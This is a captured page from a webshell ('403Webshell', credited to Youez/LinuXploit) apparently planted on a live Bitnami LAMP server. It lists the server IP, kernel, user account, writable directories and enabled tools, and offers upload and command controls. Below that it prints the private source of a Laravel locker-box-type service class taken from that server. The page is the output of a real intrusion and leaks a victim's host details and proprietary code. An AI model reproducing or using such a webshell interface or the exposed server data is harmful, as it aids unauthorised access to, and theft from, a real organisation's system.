403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/LockerBoxTypeService.php
<?php
namespace App\Http\Services;

use App\Models\LockerBoxType;
use Auth;
use Illuminate\Validation\ValidationException;
use Queriplex;

class LockerBoxTypeService
{
    public function __construct()
    {
    }

	public function lockerBoxTypeList(Array $request)
	{
		$lockerBoxTypes = LockerBoxType::query();

		// // filter
		$lockerBoxTypes = Queriplex::make($lockerBoxTypes)
            ->withFilters($request, [
				'id' => 'id',
				'activity' => function($query, $value){
					$query->whereActivity($value);
				},
			])->apply();
 		
 		// search
		if(isset($request['search'])){
			$allowed_search = [
				'full_name', // default
				'id',
			];
			$search_by = $request['searchBy'] ?? $allowed_search[0];
			if(in_array($search_by,$allowed_search)){
				$lockerBoxTypes->search($search_by,$request['search']);
			}
		}

		// sort
		if( isset($request['sortBy']) ){

			$order_mode = (!isset($request['sortDesc']) || $request['sortDesc'] == true)  ? 'DESC' : 'ASC';
			
			switch ($request['sortBy']) {
				case 'id':
					$lockerBoxTypes->orderBy('id', $order_mode);
					break;
			}
		}

		if( isset($request['only_bookable']) ){

			$lockerBoxTypes->where('booking_fees', '!=', 0);
			
		}

		$result = $lockerBoxTypes->paginate($request['itemsPerPage'] ?? null);
		
		return $result;
	}

	public function lockerBoxTypeInfo(Array $request)
	{
		$lockerBoxType = LockerBoxType::where('id',$request['id'])
        	->firstOr( function(){
	            throw ValidationException::withMessages(
	            	[ "id" => "The selected id is invalid." ]
	            );
	        });

		return $lockerBoxType;
	}

	public function lockerBoxTypeCreate(Array $request)
	{

        $lockerBoxType = new LockerBoxType();
        $lockerBoxType->title = $request['title'];
        $lockerBoxType->length = $request['length'];
        $lockerBoxType->width = $request['width'];
        $lockerBoxType->height = $request['height'];
        $lockerBoxType->booking_fees = $request['booking_fees'];
        $lockerBoxType->overtime_fees = $request['overtime_fees'];
        $lockerBoxType->description = $request['description'] ?? null;
        $lockerBoxType->save();

        return $lockerBoxType;
	}

	public function lockerBoxTypeUpdate(Array $request)
	{
		
        $lockerBoxType = LockerBoxType::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});
      
        $lockerBoxType->title = $request['title'] ?? $lockerBoxType->title;
        $lockerBoxType->length = $request['length'] ?? $lockerBoxType->length;
        $lockerBoxType->width = $request['width'] ?? $lockerBoxType->width;
        $lockerBoxType->height = $request['height'] ?? $lockerBoxType->height;
        $lockerBoxType->booking_fees = $request['booking_fees'] ?? $lockerBoxType->booking_fees;
        $lockerBoxType->overtime_fees = $request['overtime_fees'] ?? $lockerBoxType->overtime_fees;
        $lockerBoxType->description = $request['description'] ?? $lockerBoxType->description;

        $lockerBoxType->save();

        return $lockerBoxType;
	}

	public function lockerBoxTypeDelete(Array $request)
	{
		
        $lockerBoxType = LockerBoxType::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});

        $lockerBoxType->restoreOrDelete();

        return $lockerBoxType;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit